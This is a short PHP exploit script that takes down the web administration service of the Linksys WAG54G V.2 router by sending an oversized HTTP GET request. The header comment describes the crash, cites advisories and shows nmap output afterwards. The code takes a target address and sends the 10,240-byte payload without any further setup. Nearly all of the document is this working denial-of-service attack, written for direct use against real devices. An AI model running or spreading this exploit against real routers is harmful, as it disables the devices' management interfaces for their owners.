Linksys Wireless ADSL Router Denial Of Service Exploit

`<?php  
/*  
* LinkSys Wireless ADSL Router httpd DoS Vulnerability  
*  
* Product : Linksys (Division of Cisco Systems)  
* Device : WAG54G V.2  
* Firmware: 1.02.20  
* Notes : Other devices and firmware versions are no doubt vulnerable.   
*  
* Written by: r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)  
*  
* Sending a large HTTP GET/POST request (10240) to the router results in DoS  
* of the httpd service.   
*  
* After discovering this vulnerability I read about similar vulnerabilities  
* in different devices. It would seem this device is vulnerable to more   
* previously disclosed vulnerabilities also, just this device was not tested.   
*  
* It has been suggested that this is a stack overflow vulnerability.  
* http://www.securiteam.com/securitynews/5NP0D15GUE.html  
* http://www.securityfocus.com/bid/6301/info  
*  
* unable to connect to 192.168.1.1:80 (Connection refused)  
*  
* r0ut3r@kit:~> nmap 192.168.1.1  
*  
* Starting Nmap 4.20 ( http://insecure.org ) at 2008-12-12 12:17 EST  
* Interesting ports on 192.168.1.1:  
* Not shown: 1695 closed ports  
* PORT STATE SERVICE  
* 23/tcp open telnet  
* 443/tcp open https  
*  
* Nmap finished: 1 IP address (1 host up) scanned in 7.403 seconds  
*  
* Looks like HTTP died...   
* HTTPS is running however you cannot login. The service is basically useless.   
* Telnet is also open for administration (if configured to be).   
*  
* Apart from not being able to use the Web Administration Interface the device  
* seems to function fine.   
*/  
  
set_time_limit(0);  
  
$host = "192.168.1.1"; //Default IP is 192.168.1.1  
if (isset($argv[1]))  
$host = $argv[1];  
$port = 80;  
  
echo "Connecting...\n";  
$conn = fsockopen($host, $port, $errno, $errstr);  
if ($conn)  
{  
$payload = "GET /".str_repeat('A', 10240)." HTTP/1.1";  
  
if (fwrite($conn, $payload))  
echo "Payload sent!\n";  
  
fclose($conn);  
}  
?>  
  
  
`